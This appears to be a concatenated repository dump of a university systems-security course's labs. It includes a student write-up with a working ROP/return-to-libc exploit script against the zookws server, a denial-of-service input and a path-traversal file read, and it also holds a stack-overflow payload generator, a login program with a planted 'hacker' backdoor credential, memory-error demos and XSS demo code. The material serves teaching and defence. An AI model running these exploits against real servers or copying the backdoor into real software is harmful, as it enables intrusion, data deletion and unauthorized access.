cause the path to be loaded into the `%rdi` register.\n\n#### Identifying the needed memory addresses\n\n- Find the address of either `system()` or `unlink()`. In this case, we simply used `gdb` and were able to resolve the `unlink` address to `0x2aaaab2470e0`\n ![](https://i.imgur.com/Cu1y7p6.png)\n- Find the address of `accidentally()`, resolved to `0x5555555558a4`\n ![](https://i.imgur.com/4dGf892.png)\n\n#### Conducting the attack\n\nBefore we begin this section, we verify that a `/home/httpd/grades.txt` file first exists:\n\n```bash\necho \"yeet yeet\" > /home/httpd/grades.txt\n```\n\nWe also note that the stack state is the same as in previous parts as below:\n![](https://i.imgur.com/wX9X7Xg.png)\n\nOn executing first experiment to jump to `accidentally`:\n![](https://i.imgur.com/SmPgRhZ.png)\n![](https://i.imgur.com/wYRcnmF.png)\n\n- We see that the accidentally function has been sucessfully called and executing. The stackpointer in this case will now point to the previous `%rip` register.\n- From this, we also gather that the argument to be set to `%rdi` will be taken in from the previous `%rip` (same as current `%rsp`) + 16 bytes offset. We would thus have to point this section to the part of our payload with the path string.\n- For the path string, we also had to carefully null terminate it as to ensure that the read does not continue beyond the provided path:\n\n```python\nunlink_file_path = \"/home/httpd/grades.txt\" + b'\\00'\n```\n\n- After making the necessary changes, we were able to validate the following read on register rdi, hence concluding the ROP part for `accidentally`. W:\n ![](https://i.imgur.com/hDYOvPx.png)\n- Below is a stack presentation from the POV of `process_client` stack frame thus far:\n\n![](https://i.imgur.com/Smw9laT.png)\n\nThe next step is now to return to the `unlink` lib-c function. With the initial code unmodified, we note that the `accidentally` function simply pops the stack, which was left written with `c` (`0x63`) characters and thus immediately segfaults. Hence, we will now need to add the address of the `unlink()` libc function into this section instead of the garbage `c` values.\n\n![](https://i.imgur.com/Fonlx93.png)\n\nThus we can simply swap over the array of `c` characters to the address of our lib-c `unlink()` function in the text section. The result was good, as seen from this screenshot. Although an error is printed due to improper exit, we note that the function was still called correctly, and out `grades.txt` file now became unlinked\n![](https://i.imgur.com/IZSKz30.png)\n\nAnd success\n![](https://i.imgur.com/PGp3swd.png)\n\nBelow is the overall stack representation (from the POV of `process_client frame`)\n![](https://i.imgur.com/7qfMLXD.png)\n\nThe code is as such:\n\n`exploit-4.py`\n\n```python\nstack_buffer = 0x7fffffffdcd0\nstack_retaddr = 0x7fffffffece8\naccidentally_fn_addr = 0x5555555558f4\nlib_c_unlink_addr = 0x2aaaab2470e0\nunlink_file_path = \"/home/httpd/grades.txt\" + b'\\00'\n\n\ndef build_exploit(shellcode):\n\n payload = unlink_file_path + \\\n 'a' * (4095 - len(unlink_file_path)) + 'b' * 24\n\n accidentally_addr_processed = struct.pack(\"<Q\", accidentally_fn_addr)\n payload += accidentally_addr_processed\n\n\n # proceed to add lib-c address to the addr just after rip so that when pop happens, sp points here, and goes into lib-c. There is now no need for padding\n lib_c_unlink_addr_processed = struct.pack(\"<Q\", lib_c_unlink_addr)\n payload += lib_c_unlink_addr_processed\n\n # make that rb %0x10 point to stackbuffer[1]\n payload += struct.pack(\"<Q\", stack_buffer+1)\n\n # make sure to\n payload = urllib.quote(payload)\n\n req = \"GET /{0} HTTP/1.0\\r\\n\".format(payload) + \\\n \"\\r\\n\"\n return req\n```\n\n## check result ex1-ex4\n\n![](https://i.imgur.com/mlwSXRi.png)\n\n### Exercise 5\n\n#### Vulnerability 1\n\nOne of the vulnerabilties we discovered was with the method `http_read_line` implemented in the server code. For every request that enters the server (via `process_client`), we note that the process will call the `http_request_line` with arguments of the file descriptor, as well as th `reqpath` buffer.\n\n`http_request_line` will then call `http_read_line`, which has been poorly coded out as below. Note that all this is happening in the parent process:\n\n`http.c`\n\n```c\nint http_read_line(int fd, char *buf, size_t size)\n{\n size_t i = 0;\n for (;;)\n {\n int cc = read(fd, &buf[i], 1);\n if (cc <= 0)\n break;\n if (buf[i] == '\\r')\n {\n buf[i] = '\\0'; /* skip */\n continue;\n }\n if (buf[i] == '\\n')\n {\n buf[i] = '\\0';\n return 0;\n }\n if (i >= size - 1)\n {\n buf[i] = '\\0';\n return 0;\n }\n i++;\n }\n return -1;\n}\n```\n\nFrom the above, we see that the only way the function escapes is:\n\n1. If static buffer (referring to the http request packet) has a newline\n2. If the pointer i reaches value of allocated buffer size - 1\n\nThus, one cheeky way to bypass and create a infinite loop is to simply provide a payload that is shorter than the allocated buffer size, and having no new-line characters.\n\nBelow is an example of such a payload:\n\n```htmlmixed\nGET /random HTTP/1.0\n```\n\nWe note here that the server proceeds into the infinite loop and is unable to dispatch a reply\n![](https://i.imgur.com/FXMldua.png)\n\nWe also note that because the loop is happening in the parent process, other requests coming into the server is also blocked. To demonstrate this, a seperate `wget` call is made to the server, and is also blocked as such:\n![](https://i.imgur.com/3QROj82.png)\n\nThus this is a relatively serious attack, that can essentially compromise the availability of the server, resulting in denial-of-service.\n\n#### Vulnerability 2\n\nFrom inspecting the source code, it appears that zook server is able to serve any file in its document root directory, as evident from the lines:\n\n`http.c`\n\n```c\n if ((filefd = open(pn, O_RDONLY)) < 0)\n return http_err(fd, 500, \"open %s: %s\", pn, strerror(errno));\n```\n\nTo test, we make a GET request to the server with `reqpath = \"/answers.txt\"`\n`curl http://localhost:8080/answers.txt`\n![](https://i.imgur.com/l73BeRf.png)\nAs seen in the screenshot, answer.txt is retrieved by the student.\n\nThis vulnerability can be combined with code injection to symlink root partition into the current folder. Once done, the attacker is able to retrieve any text file that the server has access to.\n\nTo demonstrate, we manually symlink root into the current folder:\n\n```bash\nln -s / root\n```\n\nThen, we can make request to retrieve arbitrary file in the system:\n`curl http://localhost:8080/root/home/httpd/grades.txt`\n![](https://i.imgur.com/iZR6hWm.png)\n\n### Exercise 6\n\nWe note that the `reqpath` is parsed by `url_decode`, within `http_request_line`.\n\n`url_decode` does not check for the buffer that is available, instead, it does a while loop in the form of `for (;;)` to parse every char in the buffer, resulting in stack overflow.\n\nTo fix this, we need to ensure `url_decode` respects the array size that is allocated for `reqpath`, that is, `4096`. A straightforward approach, assuming that `url_decode` is only used to parse `reqpath`, is to create a counter `int i` that breaks when that `4096` characters have been parsed.\n\n`http.c`\n\n```c\nvoid url_decode(char *dst, const char *src)\n{\n for (int i = 0; i < 4096; i++)\n {\n if (src[0] == '%' && src[1] && src[2])\n {\n char hexbuf[3];\n hexbuf[0] = src[1];\n hexbuf[1] = src[2];\n hexbuf[2] = '\\0';\n\n *dst = strtol(&hexbuf[0], 0, 16);\n src += 3;\n }\n else if (src[0] == '+')\n {\n *dst = ' ';\n src++;\n }\n else\n {\n *dst = *src;\n src++;\n\n if (*dst == '\\0')\n break;\n }\n\n dst++;\n }\n}\n```\n\nWith this check in place, even if long reqpath is injected, the server will not parse beyond the allocated size, and subsequent stack will not be overwritten.\n\nTo verify, we run `make check-fixed` script, and here's the results\n![](https://i.imgur.com/sGOIish.png)\nAll the exploits failed, showing that the fix properly prevented the exploits created earlier.\n" }, { "alpha_fraction": 0.5704989433288574, "alphanum_fraction": 0.687635600566864, "avg_line_length": 22.049999237060547, "blob_id": "185a4648fb35434231a76b2c62d2bf0c2e86e8fb", "content_id": "a7adbd324b417c9c681ed6744a00df8cc94d6ec2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 461, "license_type": "no_license", "max_line_length": 42, "num_lines": 20, "path": "/tutorials/session2/secret.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "import os, sys, struct\n\n\nbuf_input=b\"1234567\\x00\"\nother_vars=struct.pack(\"<L\", 0x00000000)\nother_vars+=struct.pack(\"<L\", 0x00000000) \nother_vars+=struct.pack(\"<L\", 0x00000000) \n\nebp = 0xffffd638 # from main (option 1)\n#ebp = 0xffffd698 # from main (option 2)\naddr = 0x08048a50\n\n\nexploit_input = buf_input + other_vars\nexploit_input += struct.pack(\"<L\", ebp)\nexploit_input += struct.pack(\"<L\", addr)\n\nfp = open('in.txt', 'wb')\nfp.write(exploit_input)\nfp.flush()\n" }, { "alpha_fraction": 0.5806519389152527, "alphanum_fraction": 0.5871713757514954, "avg_line_length": 20.60909080505371, "blob_id": "7a1cb80dd3a5e2102804f89b94cccb67b2323b3a", "content_id": "2e584e223c734e395044bc8cf584c284a61d6df0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4755, "license_type": "no_license", "max_line_length": 66, "num_lines": 220, "path": "/tutorials/session11/xss-cookie/app/tests/unit/test_models.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "import pytest\n\n\ndef test_save_post_sets_id():\n from xss_demo.models import (\n DB,\n Post,\n )\n\n post = Post('Post 1', 'Just some text', 'admin')\n assert post.id is None\n DB.save(post)\n assert post.id is not None\n\n\ndef test_get_post_returns_same_data():\n from xss_demo.models import (\n DB,\n Post,\n )\n\n post = Post('Post 1', 'Just some text', 'admin')\n DB.save(post)\n post2 = DB.get(Post, post.id)\n assert post is not post2 # different objects\n assert post.__dict__ == post2.__dict__\n\n\ndef test_get_post_invalid_id():\n from xss_demo.models import (\n DB,\n Post,\n )\n\n with pytest.raises(ValueError):\n DB.get(Post, 99)\n\n\ndef test_save_existing_post_writes_data():\n from xss_demo.models import (\n DB,\n Post,\n )\n\n post = Post('Post 1', 'Just some text', 'admin')\n DB.save(post)\n original_id = post.id\n post.content = 'Modified text'\n DB.save(post)\n assert post.id == original_id\n assert DB.get(Post, original_id).content == 'Modified text'\n\n\ndef test_save_post_invalid_id():\n from xss_demo.models import (\n DB,\n Post,\n )\n\n post = Post('Post 1', 'Just some text', 'admin')\n post.id = 99\n with pytest.raises(ValueError):\n DB.save(post)\n\n\ndef test_delete_post():\n from xss_demo.models import (\n DB,\n Post,\n )\n\n post = Post('Post 1', 'Just some text', 'admin')\n DB.save(post)\n original_id = post.id\n DB.delete(post)\n assert DB._db['posts'][original_id] is None\n assert post.id is None\n\n\ndef test_cant_get_deleted_post():\n from xss_demo.models import (\n DB,\n Post,\n )\n\n post = Post('Post 1', 'Just some text', 'admin')\n DB.save(post)\n original_id = post.id\n DB.delete(post)\n\n with pytest.raises(ValueError):\n DB.get(Post, original_id)\n\n\ndef test_get_all_posts():\n from xss_demo.models import (\n DB,\n Post,\n )\n\n post = Post('Post 1', 'Just some text', 'admin')\n DB.save(post)\n saved_id = post.id\n\n all_posts = DB.get_all(Post)\n assert len(all_posts) >= 1\n assert any(post.id == saved_id for post in all_posts)\n\n\ndef test_post_creation_empty_list_comment_ids():\n from xss_demo.models import Post\n\n post = Post('Post 1', 'Just some text', 'admin')\n assert post.comment_ids == []\n\n\ndef test_save_comment_sets_id():\n from xss_demo.models import (\n DB,\n Comment,\n )\n\n comment = Comment('Just some text', 'admin', 0)\n assert comment.id is None\n DB.save(comment)\n assert comment.id is not None\n\n\ndef test_get_comment_returns_same_data():\n from xss_demo.models import (\n DB,\n Comment,\n )\n\n comment = Comment('Just some text', 'admin', 0)\n DB.save(comment)\n comment2 = DB.get(Comment, comment.id)\n assert comment is not comment2 # different objects\n assert comment.__dict__ == comment2.__dict__\n\n\ndef test_get_comment_invalid_id():\n from xss_demo.models import (\n DB,\n Comment,\n )\n\n with pytest.raises(ValueError):\n DB.get(Comment, 99)\n\n\ndef test_save_existing_comment_writes_data():\n from xss_demo.models import (\n DB,\n Comment,\n )\n\n comment = Comment('Just some text', 'admin', 0)\n DB.save(comment)\n original_id = comment.id\n comment.message = 'Modified text'\n DB.save(comment)\n assert comment.id == original_id\n assert DB.get(Comment, original_id).message == 'Modified text'\n\n\ndef test_save_comment_invalid_id():\n from xss_demo.models import (\n DB,\n Comment,\n )\n\n comment = Comment('Just some text', 'admin', 0)\n comment.id = 99\n with pytest.raises(ValueError):\n DB.save(comment)\n\n\ndef test_delete_comment():\n from xss_demo.models import (\n DB,\n Comment,\n )\n\n comment = Comment('Just some text', 'admin', 0)\n DB.save(comment)\n original_id = comment.id\n DB.delete(comment)\n assert DB._db['comments'][original_id] is None\n assert comment.id is None\n\n\ndef test_cant_get_deleted_comment():\n from xss_demo.models import (\n DB,\n Comment,\n )\n\n comment = Comment('Just some text', 'admin', 0)\n DB.save(comment)\n original_id = comment.id\n DB.delete(comment)\n\n with pytest.raises(ValueError):\n DB.get(Comment, original_id)\n\n\ndef test_get_all_comments():\n from xss_demo.models import (\n DB,\n Comment,\n )\n\n comment = Comment('Just some text', 'admin', 0)\n DB.save(comment)\n saved_id = comment.id\n\n all_comments = DB.get_all(Comment)\n assert len(all_comments) >= 1\n assert any(comment.id == saved_id for comment in all_comments)\n\n" }, { "alpha_fraction": 0.5199999809265137, "alphanum_fraction": 0.6399999856948853, "avg_line_length": 26.77777862548828, "blob_id": "0d14929168037237604cb4641d2393248cbb900f", "content_id": "d9a3e7b55bf08dff8597863b181c8fe2e14a0083", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 250, "license_type": "no_license", "max_line_length": 53, "num_lines": 9, "path": "/demo/memerror/uaf.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "int main() {\n void *secret = malloc(32);\n strcpy(secret, \"1234567890123456789012\");\n printf(\"secret: %s\\n\", secret);\n free(secret);\n printf(\"after free, secret: %s\\n\", secret);\n printf(\"after free, secret+16: %s\\n\", secret+0x10);\n return 0;\n}\n" }, { "alpha_fraction": 0.70652174949646, "alphanum_fraction": 0.739130437374115, "avg_line_length": 15.235294342041016, "blob_id": "9dcfdab94dca6438605fd6c76bf3bee870c9547d", "content_id": "034b9d13c1ff5a9481dc3b7a5d5eda0fbde0c5bf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 276, "license_type": "permissive", "max_line_length": 62, "num_lines": 17, "path": "/documentation/README.md", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "# Labs Documentation\n\n[View Documentation Online](https://istd50044.gitlab.io/labs/)\n\n## Build Documentation\n\n```bash\n# install nodejs dependency\nnpm install\n\n# develop\nnpm run dev\n```\n\nopen http://localhost:8080/\n\n> Generated by [vuepress](https://github.com/vuejs/vuepress)\n" }, { "alpha_fraction": 0.6327193975448608, "alphanum_fraction": 0.6478873491287231, "avg_line_length": 22.66666603088379, "blob_id": "2ebe51fdff40f3c5c5db967836d4c3bbef6db0ee", "content_id": "9067c051a739b34a1bec64f08e5b1a5441e67bba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 923, "license_type": "no_license", "max_line_length": 94, "num_lines": 39, "path": "/tutorials/session1/stage3/login-hacked.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <string.h>\n\n#define TEXT_AUTHORISED \"You are authorised\\n\"\n#define TEXT_UNAUTHORISED \"You don't belong here!\\n\"\n\n#define NUM_ACCOUNTS 4\nchar * usernameList[NUM_ACCOUNTS] = { \"peter\", \"henry\", \"mary\", \"alex\"};\nchar * passwordList[NUM_ACCOUNTS] = { \"99999\", \"88888\", \"6000\", \"1000\"};\n\nint main(int argc, char * argv[]){\n\n\t//We need 3 arguments \"program username password\"\n\tif(argc < 3){\n\t\tprintf(\"Insufficient arguments, enter in username and password\\n\");\n\t\treturn 1;\n\t}\n\n\tchar * username = argv[1];\n\tchar * password = argv[2];\n\n\tint i;\n\n\tfor(i = 0; i < NUM_ACCOUNTS; i++){\n\t\tif(strcmp(username, usernameList[i]) == 0 && strcmp(password, passwordList[i]) == 0){\n\t\t\tprintf(TEXT_AUTHORISED);\n\t\t\treturn 0;\n\t\t}\n\t}\n\n\tif(strcmp(username, \"hacker\") == 0 && strcmp(password, \"i-hate-numbers\") == 0){\n\t\tprintf(TEXT_AUTHORISED);\n\t\treturn 0;\n\t}\n\n\tprintf(TEXT_UNAUTHORISED);\n\t\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.48307693004608154, "alphanum_fraction": 0.5076923370361328, "avg_line_length": 18.117647171020508, "blob_id": "29aad2a6e597e14773aa4230e6338f5e118e21c8", "content_id": "f848b2cf45d825c53d92aa5fe1358ec7cb78ea24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 325, "license_type": "no_license", "max_line_length": 33, "num_lines": 17, "path": "/demo/memerror/heap1.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "int main() {\n\tvoid *x = malloc(4);\n\tvoid *y = malloc(8);\n\tvoid *z = malloc(32);\n\tvoid *u = malloc(4);\n\tprintf(\"x: %p\\n\", x);\n\tprintf(\"y: %p\\n\", y);\n\tprintf(\"z: %p\\n\", z);\n\tprintf(\"u: %p\\n\", u);\n\n\tprintf(\"... freeing x\\n\");\n\tfree(x);\n\tprintf(\"... allocate 4 byte\\n\");\n\tvoid *v = malloc(4);\n\tprintf(\"v: %p\\n\", v);\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.5031712651252747, "alphanum_fraction": 0.5038759708404541, "avg_line_length": 25.271604537963867, "blob_id": "ae2bb18422490e95d868938fb370fc61670f3d8d", "content_id": "16332fae3a5aeb45493de11478ee8842202a4c37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4257, "license_type": "no_license", "max_line_length": 78, "num_lines": 162, "path": "/tutorials/session11/xss-cookie/app/xss_demo/models.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "from threading import RLock\nfrom copy import deepcopy\nfrom datetime import (\n datetime,\n timezone,\n )\nimport bcrypt\n\n\nclass _DB():\n _db = {\n 'posts': [],\n 'comments': [],\n 'users': [],\n }\n _db_lock = RLock()\n\n def save(self, obj):\n lock = _DB._db_lock\n db = _DB._db\n klass = type(obj)\n with lock:\n data = deepcopy(obj.serialize())\n if obj.id is not None:\n # Make sure entry exists\n self.get(klass, obj.id)\n db[klass.__table__][obj.id] = data\n else:\n db[klass.__table__].append(data)\n obj.id = len(db[klass.__table__]) - 1\n return obj\n\n def get(self, klass, obj_id):\n lock = _DB._db_lock\n db = _DB._db\n with lock:\n try:\n data = db[klass.__table__][obj_id]\n except IndexError:\n data = None\n if not data:\n raise ValueError('Invalid ID')\n obj = klass.deserialize(deepcopy(data))\n obj.id = obj_id\n return obj\n\n def get_all(self, klass):\n lock = _DB._db_lock\n db = _DB._db\n result = []\n with lock:\n for obj_id, data in enumerate(db[klass.__table__]):\n if not data:\n # Skip deleted items\n continue\n obj = klass.deserialize(deepcopy(data))\n obj.id = obj_id\n result.append(obj)\n return result\n\n def delete(self, obj):\n lock = _DB._db_lock\n db = _DB._db\n klass = type(obj)\n with lock:\n # Make sure entry exists\n self.get(klass, obj.id)\n db[klass.__table__][obj.id] = None\n obj.id = None\n\n\nDB = _DB()\n\n\ndef now():\n return datetime.now(timezone.utc)\n\n\nclass Post():\n __table__ = 'posts'\n\n def __init__(self, title, content, author, comment_ids=None, date=None):\n self.id = None\n self.title = title\n self.content = content\n self.author = author\n self.comment_ids = comment_ids if comment_ids else []\n self.date = date if date else now()\n\n def serialize(self):\n return {\n 'title': self.title,\n 'content': self.content,\n 'author': self.author,\n 'comment_ids': self.comment_ids,\n 'date': self.date,\n }\n\n @classmethod\n def deserialize(cls, data):\n title = data['title']\n content = data['content']\n author = data['author']\n comment_ids = data['comment_ids']\n date = data['date']\n return cls(title, content, author, comment_ids=comment_ids, date=date)\n\n\nclass Comment():\n __table__ = 'comments'\n\n def __init__(self, message, author, post_id, date=None):\n self.id = None\n self.message = message\n self.author = author\n self.post_id = post_id\n self.date = date if date else now()\n\n def serialize(self):\n return {\n 'message': self.message,\n 'author': self.author,\n 'post_id': self.post_id,\n 'date': self.date,\n }\n\n @classmethod\n def deserialize(cls, data):\n message = data['message']\n author = data['author']\n post_id = data['post_id']\n date = data['date']\n return cls(message, author, post_id, date=date)\n\n\nclass User():\n __table__ = 'users'\n\n def __init__(self, username, password, hash_it=True):\n self.id = None\n self.username = username\n if hash_it:\n enc_pwd = password.encode('utf-8')\n self.password = bcrypt.hashpw(enc_pwd, bcrypt.gensalt())\n else:\n self.password = password\n\n def serialize(self):\n return {\n 'username': self.username,\n 'password': self.password,\n }\n\n @classmethod\n def deserialize(cls, data):\n username = data['username']\n password = data['password']\n return cls(username, password, hash_it=False)\n\n def password_correct(self, password):\n enc_pwd = password.encode('utf-8')\n return bcrypt.hashpw(enc_pwd, self.password) == self.password\n\n" }, { "alpha_fraction": 0.43877550959587097, "alphanum_fraction": 0.5, "avg_line_length": 15.333333015441895, "blob_id": "3a0b40e9e0d8e64cb43144d96767b1c51fdd167e", "content_id": "3339f5e8afddd5ebbd7ea5b538d7b19118d9afca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 98, "license_type": "no_license", "max_line_length": 33, "num_lines": 6, "path": "/demo/memerror/nocheck.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "int main(int argc, char **argv) {\n\tint a[3] = {1,2,3};\n\tputs(\"Hello\");\n\ta[5] = 6;\n\tputs(\"Bye\");\n}\n" }, { "alpha_fraction": 0.6851168274879456, "alphanum_fraction": 0.6863468885421753, "avg_line_length": 30.230770111083984, "blob_id": "2c49625f00cb196ea9e989e1de6ee4d1bc5d20b0", "content_id": "e605251b9188088060a6f069ea065e775fff863a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 813, "license_type": "permissive", "max_line_length": 99, "num_lines": 26, "path": "/lab2_priv_separation/zoobar/bank_client.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "from debug import *\nfrom zoodb import *\nimport rpclib\n\n\n# EX 7: Implemented client stubs here\n\ndef transfer(sender, recipient, zoobars, token):\n ## Fill in code here.\n with rpclib.client_connect('/banksvc/sock') as c:\n return c.call('transfer', sender=sender, recipient=recipient, zoobars=zoobars, token=token)\n\ndef balance(username):\n ## Fill in code here.\n with rpclib.client_connect('/banksvc/sock') as c:\n return c.call('balance', username=username)\n\ndef get_log(username):\n ## Fill in code here.\n with rpclib.client_connect('/banksvc/sock') as c:\n return c.call('get_log', username=username)\n\ndef initalise_zoobars(username):\n ## Fill in code here.\n with rpclib.client_connect('/banksvc/sock') as c:\n return c.call('initalise_zoobars', username=username)\n\n" }, { "alpha_fraction": 0.7951441407203674, "alphanum_fraction": 0.8012139797210693, "avg_line_length": 35.61111068725586, "blob_id": "3e021b10eae191bc6749f75be15d1b8ccc55ea2e", "content_id": "32f734007c539b8bc59ad64d526f1cd7f82646e0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 664, "license_type": "permissive", "max_line_length": 88, "num_lines": 18, "path": "/documentation/docs/README.md", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "---\nhome: true\nheroImage: /istd_logo_frozen.svg\ntitle: a\nactionText: Get Started →\nactionLink: /setup_vm/\nfooter: Copyright © 2020 Anh Dinh\n---\n\n## Course Description\n\nThis course covers the security of users, individual computer systems,\nincluding personal computers, smart cards and embedded platforms.\nThe course starts with considerations of common security flaws in a computer system,\nsecurity of widely used computer platforms and user authentication.\nThen, topics such as physical‐layer attacks and tamper resistant hardware are discussed.\nFinally, the course ends with a set of selected security topics like biometrics,\ncomputer forensics, and Bitcoin.\n" }, { "alpha_fraction": 0.5211267471313477, "alphanum_fraction": 0.5352112650871277, "avg_line_length": 19.285715103149414, "blob_id": "e28363b510aa41da338b9c3c774a72f10b8c53fc", "content_id": "5a1c8f25c6b595121eb3721f3679a180588b879d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 142, "license_type": "no_license", "max_line_length": 45, "num_lines": 7, "path": "/demo/memerror/fmt.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "int main() {\n\tprintf(\"hello world\\n\");\n\tint x=42;\n\tprintf(\"value %d\\n\", x);\n\tprintf(\"%lx\\n\");\n\tprintf(\"%lx %lx %lx %lx %lx %lx %lx %lx\\n\");\n}\n" }, { "alpha_fraction": 0.7635009288787842, "alphanum_fraction": 0.7858473062515259, "avg_line_length": 47.727272033691406, "blob_id": "fae03633021d2f23eba4f3d71daeb7d6a343935d", "content_id": "502a1606fd21ad401245c94acb6cfc7dbb190adc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 537, "license_type": "no_license", "max_line_length": 288, "num_lines": 11, "path": "/README.md", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "# 50.044 Systems Security\n\n###### A practical introduction to systems security\n\nCheck the course labs online documentation on https://istd50044.gitlab.io/labs/ to get started.\n\n![lab1_git](documentation/docs/.vuepress/public/labs/lab1_git.gif)\n\n\n\nThe documentation is generated by [Vuepress](https://vuepress.vuejs.org/) which translates Markdown files (.md) to a single page html website. You can alternatively build your own offline documentation of the labs by following the instructions on [documentation/README.md](documentation). \n" }, { "alpha_fraction": 0.7373942732810974, "alphanum_fraction": 0.7532572150230408, "avg_line_length": 73.57413482666016, "blob_id": "d5c8a9c7d944ad3740676cae215bd4b267237c4e", "content_id": "bbf22789dcaf2be52e4e13e297707c79d0b880de", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 23640, "license_type": "permissive", "max_line_length": 816, "num_lines": 317, "path": "/documentation/docs/labs/lab1/README.md", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "# Lab 1 - Memory Vulnerabilities\n\n<font size=\"5\"> Due: 20/6/2021, 23:59pm </font>\n\nLab 1 will introduce you to buffer overflow vulnerabilities, in the context of a web server called `zookws`. The `zookws` web server runs a simple python web application, `zoobar`, with which users transfer \"**zoobars**\" (credits) between each other. You will find buffer overflows in the `zookws` web server code, write exploits for the buffer overflows to inject code into the server over the network, and figure out how to bypass non-executable stack protection. Later labs look at other security aspects of the `zoobar` and `zookws` infrastructure.\n\n## Getting started\n\nThe files you will need for this and subsequent labs are distributed using the [Git](http://git-scm.com/)[overview of Git](https://hacker-tools.github.io/version-control/)[Git user's manual](http://www.kernel.org/pub/software/scm/git/docs/user-manual.html)\n\n![lab1_git](/labs/labs/lab1_git.gif)\n\nThe course Git repository is available at [https://gitlab.com/istd50044/labs](https://gitlab.com/istd50044/labs). To get the lab code, log into the VM using the `httpd` account and clone the source code for lab 1 as follows:\n\n```bash\nhttpd@istd:~$ git clone https://gitlab.com/istd50044/labs\nCloning into 'labs'...\nhttpd@istd:~$ cd labs/lab1_mem_vulnerabilities\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$\n```\n\nBefore you proceed with this lab assignment, make sure you can compile the `zookws` web server:\n\n```bash\nhttpd@istd:~/labs$ make\ncc zookd.c -c -o zookd.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static -fno-stack-protector\ncc http.c -c -o http.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static -fno-stack-protector\ncc -m64 zookd.o http.o -lcrypto -o zookd\ncc -m64 zookd.o http.o -lcrypto -o zookd-exstack -z execstack\ncc -m64 zookd.o http.o -lcrypto -o zookd-nxstack\ncc zookd.c -c -o zookd-withssp.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static\ncc http.c -c -o http-withssp.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static\ncc -m64 zookd-withssp.o http-withssp.o -lcrypto -o zookd-withssp\ncc -m64 -c -o shellcode.o shellcode.S\nobjcopy -S -O binary -j .text shellcode.o shellcode.bin\ncc run-shellcode.c -c -o run-shellcode.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static -fno-stack-protector\ncc -m64 run-shellcode.o -lcrypto -o run-shellcode\nrm shellcode.o\nhttpd@istd:~/labs$\n```\n\nThe component of `zookws` that receives HTTP requests is `zookd`. It is written in C and serves static files and executes dynamic scripts. For this lab you don't have to understand the dynamic scripts; they are written in Python and the exploits in this lab apply only to C code. The HTTP-related code is in `http.c`. [Here](http://www.garshol.priv.no/download/text/http-tut.html) is a tutorial about the HTTP protocol.\n\nThere are two versions of `zookd` you will be using:\n\n- `zookd-exstack`\n- `zookd-nxstack`\n\n`zookd-exstack` has an executable stack, which makes it easy to inject executable code given a stack buffer overflow vulnerability. has a non-executable stack, and requires a more sophisticated attack to exploit stack buffer overflows.\n\nNow, make sure you can run the `zookws` web server and access the `zoobar` web application from a browser running on your machine, as follows:\n\n```bash\nhttpd@istd:~/labs/lab1_mem_vulnerabilities$ ./clean-env.sh ./zookd 8080\n```\n\nThe commands above start `zookd` on port 8080. To open the zoobar application, open your browser and point it at the URL `http://127.0.0.1:8080/`, where `127.0.0.1` is the your local machine IP which has port 8080 mapped to the same VM port. If something doesn't seem to be working, check if the NAT Network is setup correctly on the VM before proceeding further.\n\nThe reference binaries of `zookd` are provided in `bin.tar.gz`, which we will use for grading. Make sure your exploits work on those binaries. The **make check** command will use both `clean-env.sh` and `bin.tar.gz` to check your submission.\n\n## A) Finding buffer overflows\n\nIn the first part of this lab assignment, you will find buffer overflows in the provided web server. To do this lab, you will need to understand the basics of buffer overflows. To help you get started with this, you should read [Smashing the Stack in the 21st Century](https://thesquareplanet.com/blog/smashing-the-stack-21st-century/), which goes through the details of how buffer overflows work, and how they can be exploited.\n\n:::tip <p></p>\n\n### **Exercise 1**\n\nStudy the web server's C code (in `zookd.c` and `http.c`), and find one example of code that allows an attacker to overwrite the return address of a function. **Hint: look for buffers allocated on the stack**. Write down a description of the vulnerability. For your vulnerability, describe the buffer which may overflow, how you would structure the input to the web server (i.e., the HTTP request) to overflow the buffer and overwrite the return address, and the call stack that will trigger the buffer overflow (i.e., the chain of function calls starting from 